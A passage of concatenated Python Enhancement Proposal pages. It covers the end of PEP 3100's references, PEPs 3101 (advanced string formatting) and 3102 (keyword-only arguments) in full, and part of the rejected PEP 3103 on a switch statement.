(“Pronouncement on parameter lists”) https://mail.python.org/pipermail/python-3000/2006-April/001175.html [18] python-3000 email (“More wishful thinking”) https://mail.python.org/pipermail/python-3000/2006-April/000810.html [19] python-3000 email (“sets in P3K?”) https://mail.python.org/pipermail/python-3000/2006-April/001286.html [20] python-3000 email (“sets in P3K?”) https://mail.python.org/pipermail/python-3000/2006-May/001666.html [21] python-3000 email (“bug in modulus?”) https://mail.python.org/pipermail/python-3000/2006-May/001735.html [22] SF patch “sys.id() and sys.intern()” https://bugs.python.org/issue1601678 [23] python-3000 email (“__nonzero__ vs. __bool__”) https://mail.python.org/pipermail/python-3000/2006-November/004524.html [24] python-3000 email (“Pre-peps on raise and except changes”) https://mail.python.org/pipermail/python-3000/2007-February/005672.html [25] (1, 2, 3, 4, 5) python-3000 email (“Py3.0 Library Ideas”) https://mail.python.org/pipermail/python-3000/2007-February/005726.html [26] python-dev email (“Should we do away with unbound methods in Py3k?”) https://mail.python.org/pipermail/python-dev/2007-November/075279.html [27] python-dev email (“Mutable sequence .sort() signature”) https://mail.python.org/pipermail/python-dev/2008-February/076818.html [28] (1, 2, 3) Python docs (sys – System-specific parameters and functions) https://docs.python.org/release/2.6/library/sys.html [29] (1, 2) Python docs (operator – Standard operators as functions) https://docs.python.org/release/2.6/library/operator.html [30] Python docs (array – Efficient arrays of numeric values) https://docs.python.org/release/2.6/library/array.html [31] Python docs (File objects) https://docs.python.org/release/2.6/library/stdtypes.html [32] Python docs (Additional methods for emulation of sequence types) https://docs.python.org/release/2.6/reference/datamodel.html#additional-methods-for-emulation-of-sequence-types [33] Approach to resolving __builtin__ vs __builtins__ https://mail.python.org/pipermail/python-3000/2007-March/006161.html [34] New name for __builtins__ https://mail.python.org/pipermail/python-dev/2007-November/075388.html [35] Patch to remove sys.exitfunc https://github.com/python/cpython/issues/44715 [36] (1, 2) Remove deprecated functions from operator https://github.com/python/cpython/issues/43602 Copyright This document has been placed in the public domain.

Final

PEP 3100 – Miscellaneous Python 3.0 Plans

Process

This PEP, previously known as PEP 3000, describes smaller scale changes and new features for which no separate PEP is written yet, all targeted for Python 3000.

PEP 3101 – Advanced String Formatting Author: Talin <viridia at gmail.com> Status: Final Type: Standards Track Created: 16-Apr-2006 Python-Version: 3.0 Post-History: 28-Apr-2006, 06-May-2006, 10-Jun-2007, 14-Aug-2007, 14-Sep-2008 Table of Contents Abstract Rationale Specification String Methods Format Strings Simple and Compound Field Names Format Specifiers Standard Format Specifiers Explicit Conversion Flag Controlling Formatting on a Per-Type Basis User-Defined Formatting Formatter Methods Customizing Formatters Error handling Alternate Syntax Alternate Feature Proposals Security Considerations Sample Implementation Backwards Compatibility References Copyright Abstract This PEP proposes a new system for built-in string formatting operations, intended as a replacement for the existing ‘%’ string formatting operator. Rationale Python currently provides two methods of string interpolation: The ‘%’ operator for strings. [1] The string.Template module. [2] The primary scope of this PEP concerns proposals for built-in string formatting operations (in other words, methods of the built-in string type). The ‘%’ operator is primarily limited by the fact that it is a binary operator, and therefore can take at most two arguments. One of those arguments is already dedicated to the format string, leaving all other variables to be squeezed into the remaining argument. The current practice is to use either a dictionary or a tuple as the second argument, but as many people have commented [3], this lacks flexibility. The “all or nothing” approach (meaning that one must choose between only positional arguments, or only named arguments) is felt to be overly constraining. While there is some overlap between this proposal and string.Template, it is felt that each serves a distinct need, and that one does not obviate the other. This proposal is for a mechanism which, like ‘%’, is efficient for small strings which are only used once, so, for example, compilation of a string into a template is not contemplated in this proposal, although the proposal does take care to define format strings and the API in such a way that an efficient template package could reuse the syntax and even some of the underlying formatting code. Specification The specification will consist of the following parts: Specification of a new formatting method to be added to the built-in string class. Specification of functions and flag values to be added to the string module, so that the underlying formatting engine can be used with additional options. Specification of a new syntax for format strings. Specification of a new set of special methods to control the formatting and conversion of objects. Specification of an API for user-defined formatting classes. Specification of how formatting errors are handled. Note on string encodings: When discussing this PEP in the context of Python 3.0, it is assumed that all strings are unicode strings, and that the use of the word ‘string’ in the context of this document will generally refer to a Python 3.0 string, which is the same as Python 2.x unicode object. In the context of Python 2.x, the use of the word ‘string’ in this document refers to an object which may either be a regular string or a unicode object. All of the function call interfaces described in this PEP can be used for both strings and unicode objects, and in all cases there is sufficient information to be able to properly deduce the output string type (in other words, there is no need for two separate APIs). In all cases, the type of the format string dominates - that is, the result of the conversion will always result in an object that contains the same representation of characters as the input format string. String Methods The built-in string class (and also the unicode class in 2.6) will gain a new method, ‘format’, which takes an arbitrary number of positional and keyword arguments: "The story of {0}, {1}, and {c}".format(a, b, c=d) Within a format string, each positional argument is identified with a number, starting from zero, so in the above example, ‘a’ is argument 0 and ‘b’ is argument 1. Each keyword argument is identified by its keyword name, so in the above example, ‘c’ is used to refer to the third argument. There is also a global built-in function, ‘format’ which formats a single value: print(format(10.0, "7.3g")) This function is described in a later section. Format Strings Format strings consist of intermingled character data and markup. Character data is data which is transferred unchanged from the format string to the output string; markup is not transferred from the format string directly to the output, but instead is used to define ‘replacement fields’ that describe to the format engine what should be placed in the output string in place of the markup. Brace characters (‘curly braces’) are used to indicate a replacement field within the string: "My name is {0}".format('Fred') The result of this is the string: "My name is Fred" Braces can be escaped by doubling: "My name is {0} :-{{}}".format('Fred') Which would produce: "My name is Fred :-{}" The element within the braces is called a ‘field’. Fields consist of a ‘field name’, which can either be simple or compound, and an optional ‘format specifier’. Simple and Compound Field Names Simple field names are either names or numbers. If numbers, they must be valid base-10 integers; if names, they must be valid Python identifiers. A number is used to identify a positional argument, while a name is used to identify a keyword argument. A compound field name is a combination of multiple simple field names in an expression: "My name is {0.name}".format(open('out.txt', 'w')) This example shows the use of the ‘getattr’ or ‘dot’ operator in a field expression. The dot operator allows an attribute of an input value to be specified as the field value. Unlike some other programming languages, you cannot embed arbitrary expressions in format strings. This is by design - the types of expressions that you can use is deliberately limited. Only two operators are supported: the ‘.’ (getattr) operator, and the ‘[]’ (getitem) operator. The reason for allowing these operators is that they don’t normally have side effects in non-pathological code. An example of the ‘getitem’ syntax: "My name is {0[name]}".format(dict(name='Fred')) It should be noted that the use of ‘getitem’ within a format string is much more limited than its conventional usage. In the above example, the string ‘name’ really is the literal string ‘name’, not a variable named ‘name’. The rules for parsing an item key are very simple. If it starts with a digit, then it is treated as a number, otherwise it is used as a string. Because keys are not quote-delimited, it is not possible to specify arbitrary dictionary keys (e.g., the strings “10” or “:-]”) from within a format string. Implementation note: The implementation of this proposal is not required to enforce the rule about a simple or dotted name being a valid Python identifier. Instead, it will rely on the getattr function of the underlying object to throw an exception if the identifier is not legal. The str.format() function will have a minimalist parser which only attempts to figure out when it is “done” with an identifier (by finding a ‘.’ or a ‘]’, or ‘}’, etc.). Format Specifiers Each field can also specify an optional set of ‘format specifiers’ which can be used to adjust the format of that field. Format specifiers follow the field name, with a colon (‘:’) character separating the two: "My name is {0:8}".format('Fred') The meaning and syntax of the format specifiers depends on the type of object that is being formatted, but there is a standard set of format specifiers used for any object that does not override them. Format specifiers can themselves contain replacement fields. For example, a field whose field width is itself a parameter could be specified via: "{0:{1}}".format(a, b) These ‘internal’ replacement fields can only occur in the format specifier part of the replacement field. Internal replacement fields cannot themselves have format specifiers. This implies also that replacement fields cannot be nested to arbitrary levels. Note that the doubled ‘}’ at the end, which would normally be escaped, is not escaped in this case. The reason is because the ‘{{’ and ‘}}’ syntax for escapes is only applied when used outside of a format field. Within a format field, the brace characters always have their normal meaning. The syntax for format specifiers is open-ended, since a class can override the standard format specifiers. In such cases, the str.format() method merely passes all of the characters between the first colon and the matching brace to the relevant underlying formatting method. Standard Format Specifiers If an object does not define its own format specifiers, a standard set of format specifiers is used. These are similar in concept to the format specifiers used by the existing ‘%’ operator, however there are also a number of differences. The general form of a standard format specifier is: [[fill]align][sign][#][0][minimumwidth][.precision][type] The brackets ([]) indicate an optional element. Then the optional align flag can be one of the following: '<' - Forces the field to be left-aligned within the available space (This is the default.) '>' - Forces the field to be right-aligned within the available space. '=' - Forces the padding to be placed after the sign (if any) but before the digits. This is used for printing fields in the form '+000000120'. This alignment option is only valid for numeric types. '^' - Forces the field to be centered within the available space. Note that unless a minimum field width is defined, the field width will always be the same size as the data to fill it, so that the alignment option has no meaning in this case. The optional ‘fill’ character defines the character to be used to pad the field to the minimum width. The fill character, if present, must be followed by an alignment flag. The ‘sign’ option is only valid for numeric types, and can be one of the following: '+' - indicates that a sign should be used for both positive as well as negative numbers '-' - indicates that a sign should be used only for negative numbers (this is the default behavior) ' ' - indicates that a leading space should be used on positive numbers If the ‘#’ character is present, integers use the ‘alternate form’ for formatting. This means that binary, octal, and hexadecimal output will be prefixed with ‘0b’, ‘0o’, and ‘0x’, respectively. ‘width’ is a decimal integer defining the minimum field width. If not specified, then the field width will be determined by the content. If the width field is preceded by a zero (‘0’) character, this enables zero-padding. This is equivalent to an alignment type of ‘=’ and a fill character of ‘0’. The ‘precision’ is a decimal number indicating how many digits should be displayed after the decimal point in a floating point conversion. For non-numeric types the field indicates the maximum field size - in other words, how many characters will be used from the field content. The precision is ignored for integer conversions. Finally, the ‘type’ determines how the data should be presented. The available integer presentation types are: 'b' - Binary. Outputs the number in base 2. 'c' - Character. Converts the integer to the corresponding Unicode character before printing. 'd' - Decimal Integer. Outputs the number in base 10. 'o' - Octal format. Outputs the number in base 8. 'x' - Hex format. Outputs the number in base 16, using lower-case letters for the digits above 9. 'X' - Hex format. Outputs the number in base 16, using upper-case letters for the digits above 9. 'n' - Number. This is the same as 'd', except that it uses the current locale setting to insert the appropriate number separator characters. '' (None) - the same as 'd' The available floating point presentation types are: 'e' - Exponent notation. Prints the number in scientific notation using the letter 'e' to indicate the exponent. 'E' - Exponent notation. Same as 'e' except it converts the number to uppercase. 'f' - Fixed point. Displays the number as a fixed-point number. 'F' - Fixed point. Same as 'f' except it converts the number to uppercase. 'g' - General format. This prints the number as a fixed-point number, unless the number is too large, in which case it switches to 'e' exponent notation. 'G' - General format. Same as 'g' except switches to 'E' if the number gets to large. 'n' - Number. This is the same as 'g', except that it uses the current locale setting to insert the appropriate number separator characters. '%' - Percentage. Multiplies the number by 100 and displays in fixed ('f') format, followed by a percent sign. '' (None) - similar to 'g', except that it prints at least one digit after the decimal point. Objects are able to define their own format specifiers to replace the standard ones. An example is the ‘datetime’ class, whose format specifiers might look something like the arguments to the strftime() function: "Today is: {0:%a %b %d %H:%M:%S %Y}".format(datetime.now()) For all built-in types, an empty format specification will produce the equivalent of str(value). It is recommended that objects defining their own format specifiers follow this convention as well. Explicit Conversion Flag The explicit conversion flag is used to transform the format field value before it is formatted. This can be used to override the type-specific formatting behavior, and format the value as if it were a more generic type. Currently, two explicit conversion flags are recognized: !r - convert the value to a string using repr(). !s - convert the value to a string using str(). These flags are placed before the format specifier: "{0!r:20}".format("Hello") In the preceding example, the string “Hello” will be printed, with quotes, in a field of at least 20 characters width. A custom Formatter class can define additional conversion flags. The built-in formatter will raise a ValueError if an invalid conversion flag is specified. Controlling Formatting on a Per-Type Basis Each Python type can control formatting of its instances by defining a __format__ method. The __format__ method is responsible for interpreting the format specifier, formatting the value, and returning the resulting string. The new, global built-in function ‘format’ simply calls this special method, similar to how len() and str() simply call their respective special methods: def format(value, format_spec): return value.__format__(format_spec) It is safe to call this function with a value of “None” (because the “None” value in Python is an object and can have methods.) Several built-in types, including ‘str’, ‘int’, ‘float’, and ‘object’ define __format__ methods. This means that if you derive from any of those types, your class will know how to format itself. The object.__format__ method is the simplest: It simply converts the object to a string, and then calls format again: class object: def __format__(self, format_spec): return format(str(self), format_spec) The __format__ methods for ‘int’ and ‘float’ will do numeric formatting based on the format specifier. In some cases, these formatting operations may be delegated to other types. So for example, in the case where the ‘int’ formatter sees a format type of ‘f’ (meaning ‘float’) it can simply cast the value to a float and call format() again. Any class can override the __format__ method to provide custom formatting for that type: class AST: def __format__(self, format_spec): ... Note for Python 2.x: The ‘format_spec’ argument will be either a string object or a unicode object, depending on the type of the original format string. The __format__ method should test the type of the specifiers parameter to determine whether to return a string or unicode object. It is the responsibility of the __format__ method to return an object of the proper type. Note that the ‘explicit conversion’ flag mentioned above is not passed to the __format__ method. Rather, it is expected that the conversion specified by the flag will be performed before calling __format__. User-Defined Formatting There will be times when customizing the formatting of fields on a per-type basis is not enough. An example might be a spreadsheet application, which displays hash marks ‘#’ when a value is too large to fit in the available space. For more powerful and flexible formatting, access to the underlying format engine can be obtained through the ‘Formatter’ class that lives in the ‘string’ module. This class takes additional options which are not accessible via the normal str.format method. An application can subclass the Formatter class to create its own customized formatting behavior. The PEP does not attempt to exactly specify all methods and properties defined by the Formatter class; instead, those will be defined and documented in the initial implementation. However, this PEP will specify the general requirements for the Formatter class, which are listed below. Although string.format() does not directly use the Formatter class to do formatting, both use the same underlying implementation. The reason that string.format() does not use the Formatter class directly is because “string” is a built-in type, which means that all of its methods must be implemented in C, whereas Formatter is a Python class. Formatter provides an extensible wrapper around the same C functions as are used by string.format(). Formatter Methods The Formatter class takes no initialization arguments: fmt = Formatter() The public API methods of class Formatter are as follows: -- format(format_string, *args, **kwargs) -- vformat(format_string, args, kwargs) ‘format’ is the primary API method. It takes a format template, and an arbitrary set of positional and keyword arguments. ‘format’ is just a wrapper that calls ‘vformat’. ‘vformat’ is the function that does the actual work of formatting. It is exposed as a separate function for cases where you want to pass in a predefined dictionary of arguments, rather than unpacking and repacking the dictionary as individual arguments using the *args and **kwds syntax. ‘vformat’ does the work of breaking up the format template string into character data and replacement fields. It calls the ‘get_positional’ and ‘get_index’ methods as appropriate (described below.) Formatter defines the following overridable methods: -- get_value(key, args, kwargs) -- check_unused_args(used_args, args, kwargs) -- format_field(value, format_spec) ‘get_value’ is used to retrieve a given field value. The ‘key’ argument will be either an integer or a string. If it is an integer, it represents the index of the positional argument in ‘args’; If it is a string, then it represents a named argument in ‘kwargs’. The ‘args’ parameter is set to the list of positional arguments to ‘vformat’, and the ‘kwargs’ parameter is set to the dictionary of positional arguments. For compound field names, these functions are only called for the first component of the field name; subsequent components are handled through normal attribute and indexing operations. So for example, the field expression ‘0.name’ would cause ‘get_value’ to be called with a ‘key’ argument of 0. The ‘name’ attribute will be looked up after ‘get_value’ returns by calling the built-in ‘getattr’ function. If the index or keyword refers to an item that does not exist, then an IndexError/KeyError should be raised. ‘check_unused_args’ is used to implement checking for unused arguments if desired. The arguments to this function is the set of all argument keys that were actually referred to in the format string (integers for positional arguments, and strings for named arguments), and a reference to the args and kwargs that was passed to vformat. The set of unused args can be calculated from these parameters. ‘check_unused_args’ is assumed to throw an exception if the check fails. ‘format_field’ simply calls the global ‘format’ built-in. The method is provided so that subclasses can override it. To get a better understanding of how these functions relate to each other, here is pseudocode that explains the general operation of vformat: def vformat(format_string, args, kwargs): # Output buffer and set of used args buffer = StringIO.StringIO() used_args = set() # Tokens are either format fields or literal strings for token in self.parse(format_string): if is_format_field(token): # Split the token into field value and format spec field_spec, _, format_spec = token.partition(":") # Check for explicit type conversion explicit, _, field_spec = field_spec.rpartition("!") # 'first_part' is the part before the first '.' or '[' # Assume that 'get_first_part' returns either an int or # a string, depending on the syntax. first_part = get_first_part(field_spec) value = self.get_value(first_part, args, kwargs) # Record the fact that we used this arg used_args.add(first_part) # Handle [subfield] or .subfield. Assume that 'components' # returns an iterator of the various subfields, not including # the first part. for comp in components(field_spec): value = resolve_subfield(value, comp) # Handle explicit type conversion if explicit == 'r': value = repr(value) elif explicit == 's': value = str(value) # Call the global 'format' function and write out the converted # value. buffer.write(self.format_field(value, format_spec)) else: buffer.write(token) self.check_unused_args(used_args, args, kwargs) return buffer.getvalue() Note that the actual algorithm of the Formatter class (which will be implemented in C) may not be the one presented here. (It’s likely that the actual implementation won’t be a ‘class’ at all - rather, vformat may just call a C function which accepts the other overridable methods as arguments.) The primary purpose of this code example is to illustrate the order in which overridable methods are called. Customizing Formatters This section describes some typical ways that Formatter objects can be customized. To support alternative format-string syntax, the ‘vformat’ method can be overridden to alter the way format strings are parsed. One common desire is to support a ‘default’ namespace, so that you don’t need to pass in keyword arguments to the format() method, but can instead use values in a pre-existing namespace. This can easily be done by overriding get_value() as follows: class NamespaceFormatter(Formatter): def __init__(self, namespace={}): Formatter.__init__(self) self.namespace = namespace def get_value(self, key, args, kwds): if isinstance(key, str): try: # Check explicitly passed arguments first return kwds[key] except KeyError: return self.namespace[key] else: Formatter.get_value(key, args, kwds) One can use this to easily create a formatting function that allows access to global variables, for example: fmt = NamespaceFormatter(globals()) greeting = "hello" print(fmt.format("{greeting}, world!")) A similar technique can be done with the locals() dictionary to gain access to the locals dictionary. It would also be possible to create a ‘smart’ namespace formatter that could automatically access both locals and globals through snooping of the calling stack. Due to the need for compatibility with the different versions of Python, such a capability will not be included in the standard library, however it is anticipated that someone will create and publish a recipe for doing this. Another type of customization is to change the way that built-in types are formatted by overriding the ‘format_field’ method. (For non-built-in types, you can simply define a __format__ special method on that type.) So for example, you could override the formatting of numbers to output scientific notation when needed. Error handling There are two classes of exceptions which can occur during formatting: exceptions generated by the formatter code itself, and exceptions generated by user code (such as a field object’s ‘getattr’ function). In general, exceptions generated by the formatter code itself are of the “ValueError” variety – there is an error in the actual “value” of the format string. (This is not always true; for example, the string.format() function might be passed a non-string as its first parameter, which would result in a TypeError.) The text associated with these internally generated ValueError exceptions will indicate the location of the exception inside the format string, as well as the nature of the exception. For exceptions generated by user code, a trace record and dummy frame will be added to the traceback stack to help in determining the location in the string where the exception occurred. The inserted traceback will indicate that the error occurred at: File "<format_string>;", line XX, in column_YY where XX and YY represent the line and character position information in the string, respectively. Alternate Syntax Naturally, one of the most contentious issues is the syntax of the format strings, and in particular the markup conventions used to indicate fields. Rather than attempting to exhaustively list all of the various proposals, I will cover the ones that are most widely used already. Shell variable syntax: $name and $(name) (or in some variants, ${name}). This is probably the oldest convention out there, and is used by Perl and many others. When used without the braces, the length of the variable is determined by lexically scanning until an invalid character is found.This scheme is generally used in cases where interpolation is implicit - that is, in environments where any string can contain interpolation variables, and no special substitution function need be invoked. In such cases, it is important to prevent the interpolation behavior from occurring accidentally, so the ‘$’ (which is otherwise a relatively uncommonly-used character) is used to signal when the behavior should occur. It is the author’s opinion, however, that in cases where the formatting is explicitly invoked, that less care needs to be taken to prevent accidental interpolation, in which case a lighter and less unwieldy syntax can be used. printf and its cousins (‘%’), including variations that add a field index, so that fields can be interpolated out of order. Other bracket-only variations. Various MUDs (Multi-User Dungeons) such as MUSH have used brackets (e.g. [name]) to do string interpolation. The Microsoft .Net libraries uses braces ({}), and a syntax which is very similar to the one in this proposal, although the syntax for format specifiers is quite different. [4] Backquoting. This method has the benefit of minimal syntactical clutter, however it lacks many of the benefits of a function call syntax (such as complex expression arguments, custom formatters, etc.). Other variations include Ruby’s #{}, PHP’s {$name}, and so on. Some specific aspects of the syntax warrant additional comments: 1) Backslash character for escapes. The original version of this PEP used backslash rather than doubling to escape a bracket. This worked because backslashes in Python string literals that don’t conform to a standard backslash sequence such as \n are left unmodified. However, this caused a certain amount of confusion, and led to potential situations of multiple recursive escapes, i.e. \\\\{ to place a literal backslash in front of a bracket. 2) The use of the colon character (‘:’) as a separator for format specifiers. This was chosen simply because that’s what .Net uses. Alternate Feature Proposals Restricting attribute access: An earlier version of the PEP restricted the ability to access attributes beginning with a leading underscore, for example “{0}._private”. However, this is a useful ability to have when debugging, so the feature was dropped. Some developers suggested that the ability to do ‘getattr’ and ‘getitem’ access should be dropped entirely. However, this is in conflict with the needs of another set of developers who strongly lobbied for the ability to pass in a large dict as a single argument (without flattening it into individual keyword arguments using the **kwargs syntax) and then have the format string refer to dict entries individually. There has also been suggestions to expand the set of expressions that are allowed in a format string. However, this was seen to go against the spirit of TOOWTDI, since the same effect can be achieved in most cases by executing the same expression on the parameter before it’s passed in to the formatting function. For cases where the format string is being use to do arbitrary formatting in a data-rich environment, it’s recommended to use a template engine specialized for this purpose, such as Genshi [5] or Cheetah [6]. Many other features were considered and rejected because they could easily be achieved by subclassing Formatter instead of building the feature into the base implementation. This includes alternate syntax, comments in format strings, and many others. Security Considerations Historically, string formatting has been a common source of security holes in web-based applications, particularly if the string formatting system allows arbitrary expressions to be embedded in format strings. The best way to use string formatting in a way that does not create potential security holes is to never use format strings that come from an untrusted source. Barring that, the next best approach is to ensure that string formatting has no side effects. Because of the open nature of Python, it is impossible to guarantee that any non-trivial operation has this property. What this PEP does is limit the types of expressions in format strings to those in which visible side effects are both rare and strongly discouraged by the culture of Python developers. So for example, attribute access is allowed because it would be considered pathological to write code where the mere access of an attribute has visible side effects (whether the code has invisible side effects - such as creating a cache entry for faster lookup - is irrelevant.) Sample Implementation An implementation of an earlier version of this PEP was created by Patrick Maupin and Eric V. Smith, and can be found in the pep3101 sandbox at: http://svn.python.org/view/sandbox/trunk/pep3101/ Backwards Compatibility Backwards compatibility can be maintained by leaving the existing mechanisms in place. The new system does not collide with any of the method names of the existing string formatting techniques, so both systems can co-exist until it comes time to deprecate the older system. References [1] Python Library Reference - String formatting operations http://docs.python.org/library/stdtypes.html#string-formatting-operations [2] Python Library References - Template strings http://docs.python.org/library/string.html#string.Template [3] [Python-3000] String formatting operations in python 3k https://mail.python.org/pipermail/python-3000/2006-April/000285.html [4] Composite Formatting - [.Net Framework Developer’s Guide] http://msdn.microsoft.com/library/en-us/cpguide/html/cpconcompositeformatting.asp?frame=true [5] Genshi templating engine. http://genshi.edgewall.org/ [6] Cheetah - The Python-Powered Template Engine. http://www.cheetahtemplate.org/ Copyright This document has been placed in the public domain.

Final

PEP 3101 – Advanced String Formatting

Standards Track

This PEP proposes a new system for built-in string formatting operations, intended as a replacement for the existing ‘%’ string formatting operator.

PEP 3102 – Keyword-Only Arguments Author: Talin <viridia at gmail.com> Status: Final Type: Standards Track Created: 22-Apr-2006 Python-Version: 3.0 Post-History: 28-Apr-2006, 19-May-2006 Table of Contents Abstract Rationale Specification Function Calling Behavior Backwards Compatibility Copyright Abstract This PEP proposes a change to the way that function arguments are assigned to named parameter slots. In particular, it enables the declaration of “keyword-only” arguments: arguments that can only be supplied by keyword and which will never be automatically filled in by a positional argument. Rationale The current Python function-calling paradigm allows arguments to be specified either by position or by keyword. An argument can be filled in either explicitly by name, or implicitly by position. There are often cases where it is desirable for a function to take a variable number of arguments. The Python language supports this using the ‘varargs’ syntax (*name), which specifies that any ‘left over’ arguments be passed into the varargs parameter as a tuple. One limitation on this is that currently, all of the regular argument slots must be filled before the vararg slot can be. This is not always desirable. One can easily envision a function which takes a variable number of arguments, but also takes one or more ‘options’ in the form of keyword arguments. Currently, the only way to do this is to define both a varargs argument, and a ‘keywords’ argument (**kwargs), and then manually extract the desired keywords from the dictionary. Specification Syntactically, the proposed changes are fairly simple. The first change is to allow regular arguments to appear after a varargs argument: def sortwords(*wordlist, case_sensitive=False): ... This function accepts any number of positional arguments, and it also accepts a keyword option called ‘case_sensitive’. This option will never be filled in by a positional argument, but must be explicitly specified by name. Keyword-only arguments are not required to have a default value. Since Python requires that all arguments be bound to a value, and since the only way to bind a value to a keyword-only argument is via keyword, such arguments are therefore ‘required keyword’ arguments. Such arguments must be supplied by the caller, and they must be supplied via keyword. The second syntactical change is to allow the argument name to be omitted for a varargs argument. The meaning of this is to allow for keyword-only arguments for functions that would not otherwise take a varargs argument: def compare(a, b, *, key=None): ... The reasoning behind this change is as follows. Imagine for a moment a function which takes several positional arguments, as well as a keyword argument: def compare(a, b, key=None): ... Now, suppose you wanted to have ‘key’ be a keyword-only argument. Under the above syntax, you could accomplish this by adding a varargs argument immediately before the keyword argument: def compare(a, b, *ignore, key=None): ... Unfortunately, the ‘ignore’ argument will also suck up any erroneous positional arguments that may have been supplied by the caller. Given that we’d prefer any unwanted arguments to raise an error, we could do this: def compare(a, b, *ignore, key=None): if ignore: # If ignore is not empty raise TypeError As a convenient shortcut, we can simply omit the ‘ignore’ name, meaning ‘don’t allow any positional arguments beyond this point’. (Note: After much discussion of alternative syntax proposals, the BDFL has pronounced in favor of this ‘single star’ syntax for indicating the end of positional parameters.) Function Calling Behavior The previous section describes the difference between the old behavior and the new. However, it is also useful to have a description of the new behavior that stands by itself, without reference to the previous model. So this next section will attempt to provide such a description. When a function is called, the input arguments are assigned to formal parameters as follows: For each formal parameter, there is a slot which will be used to contain the value of the argument assigned to that parameter. Slots which have had values assigned to them are marked as ‘filled’. Slots which have no value assigned to them yet are considered ‘empty’. Initially, all slots are marked as empty. Positional arguments are assigned first, followed by keyword arguments. For each positional argument: Attempt to bind the argument to the first unfilled parameter slot. If the slot is not a vararg slot, then mark the slot as ‘filled’. If the next unfilled slot is a vararg slot, and it does not have a name, then it is an error. Otherwise, if the next unfilled slot is a vararg slot then all remaining non-keyword arguments are placed into the vararg slot. For each keyword argument: If there is a parameter with the same name as the keyword, then the argument value is assigned to that parameter slot. However, if the parameter slot is already filled, then that is an error. Otherwise, if there is a ‘keyword dictionary’ argument, the argument is added to the dictionary using the keyword name as the dictionary key, unless there is already an entry with that key, in which case it is an error. Otherwise, if there is no keyword dictionary, and no matching named parameter, then it is an error. Finally: If the vararg slot is not yet filled, assign an empty tuple as its value. For each remaining empty slot: if there is a default value for that slot, then fill the slot with the default value. If there is no default value, then it is an error. In accordance with the current Python implementation, any errors encountered will be signaled by raising TypeError. (If you want something different, that’s a subject for a different PEP.) Backwards Compatibility The function calling behavior specified in this PEP is a superset of the existing behavior - that is, it is expected that any existing programs will continue to work. Copyright This document has been placed in the public domain.

Final

PEP 3102 – Keyword-Only Arguments

Standards Track

This PEP proposes a change to the way that function arguments are assigned to named parameter slots. In particular, it enables the declaration of “keyword-only” arguments: arguments that can only be supplied by keyword and which will never be automatically filled in by a positional argument.

PEP 3103 – A Switch/Case Statement Author: Guido van Rossum <guido at python.org> Status: Rejected Type: Standards Track Created: 25-Jun-2006 Python-Version: 3.0 Post-History: 26-Jun-2006 Table of Contents Rejection Notice Abstract Rationale Basic Syntax Alternative 1 Alternative 2 Alternative 3 Alternative 4 Extended Syntax Alternative A Alternative B Alternative C Alternative D Discussion Semantics If/Elif Chain vs. Dict-based Dispatch When to Freeze the Dispatch Dict Option 1 Option 2 Option 3 Option 4 Conclusion Copyright Rejection Notice A quick poll during my keynote presentation at PyCon 2007 shows this proposal has no popular support. I therefore reject it. Abstract Python-dev has recently seen a flurry of discussion on adding a switch statement. In this PEP I’m trying to extract my own preferences from the smorgasbord of proposals, discussing alternatives and explaining my choices where I can. I’ll also indicate how strongly I feel about alternatives I discuss. This PEP should be seen as an alternative to PEP 275. My views are somewhat different from that PEP’s author, but I’m grateful for the work done in that PEP. This PEP introduces canonical names for the many variants that have been discussed for different aspects of the syntax and semantics, such as “alternative 1”, “school II”, “option 3” and so on. Hopefully these names will help the discussion. Rationale A common programming idiom is to consider an expression and do different things depending on its value. This is usually done with a chain of if/elif tests; I’ll refer to this form as the “if/elif chain”. There are two main motivations to want to introduce new syntax for this idiom: It is repetitive: the variable and the test operator, usually ‘==’ or ‘in’, are repeated in each if/elif branch. It is inefficient: when an expression matches the last test value (or no test value at all) it is compared to each of the preceding test values. Both of these complaints are relatively mild; there isn’t a lot of readability or performance to be gained by writing this differently. Yet, some kind of switch statement is found in many languages and it is not unreasonable to expect that its addition to Python will allow us to write up certain code more cleanly and efficiently than before. There are forms of dispatch that are not suitable for the proposed switch statement; for example, when the number of cases is not statically known, or when it is desirable to place the code for different cases in different classes or files. Basic Syntax I’m considering several variants of the syntax first proposed in PEP 275 here. There are lots of other possibilities, but I don’t see that they add anything. I’ve recently been converted to alternative 1. I should note that all alternatives here have the “implicit break” property: at the end of the suite for a particular case, the control flow jumps to the end of the whole switch statement. There is no way to pass control from one case to another. This in contrast to C, where an explicit ‘break’ statement is required to prevent falling through to the next case. In all alternatives, the else-suite is optional. It is more Pythonic to use ‘else’ here rather than introducing a new reserved word, ‘default’, as in C. Semantics are discussed in the next top-level section. Alternative 1 This is the preferred form in PEP 275: switch EXPR: case EXPR: SUITE case EXPR: SUITE ... else: SUITE The main downside is that the suites where all the action is are indented two levels deep; this can be remedied by indenting the cases “half a level” (e.g. 2 spaces if the general indentation level is 4). Alternative 2 This is Fredrik Lundh’s preferred form; it differs by not indenting the cases: switch EXPR: case EXPR: SUITE case EXPR: SUITE .... else: SUITE Some reasons not to choose this include expected difficulties for auto-indenting editors, folding editors, and the like; and confused users. There are no situations currently in Python where a line ending in a colon is followed by an unindented line. Alternative 3 This is the same as alternative 2 but leaves out the colon after the switch: switch EXPR case EXPR: SUITE case EXPR: SUITE .... else: SUITE The hope of this alternative is that it will not upset the auto-indent logic of the average Python-aware text editor less. But it looks strange to me. Alternative 4 This leaves out the ‘case’ keyword on the basis that it is redundant: switch EXPR: EXPR: SUITE EXPR: SUITE ... else: SUITE Unfortunately now we are forced to indent the case expressions, because otherwise (at least in the absence of an ‘else’ keyword) the parser would have a hard time distinguishing between an unindented case expression (which continues the switch statement) or an unrelated statement that starts like an expression (such as an assignment or a procedure call). The parser is not smart enough to backtrack once it sees the colon. This is my least favorite alternative. Extended Syntax There is one additional concern that needs to be addressed syntactically. Often two or more values need to be treated the same. In C, this done by writing multiple case labels together without any code between them. The “fall through” semantics then mean that these are all handled by the same code. Since the Python switch will not have fall-through semantics (which have yet to find a champion) we need another solution. Here are some alternatives. Alternative A Use: case EXPR: to match on a single expression; use: case EXPR, EXPR, ...: to match on multiple expressions. The is interpreted so that if EXPR is a parenthesized tuple or another expression whose value is a tuple, the switch expression must equal that tuple, not one of its elements. This means that we cannot use a variable to indicate multiple cases. While this is also true in C’s switch statement, it is a relatively common occurrence in Python (see for example sre_compile.py). Alternative B Use: case EXPR: to match on a single expression; use: case in EXPR_LIST: to match on multiple expressions. If EXPR_LIST is a single expression, the ‘in’ forces its interpretation as an iterable (or something supporting __contains__, in a minority semantics alternative). If it is multiple expressions, each of those is considered for a match. 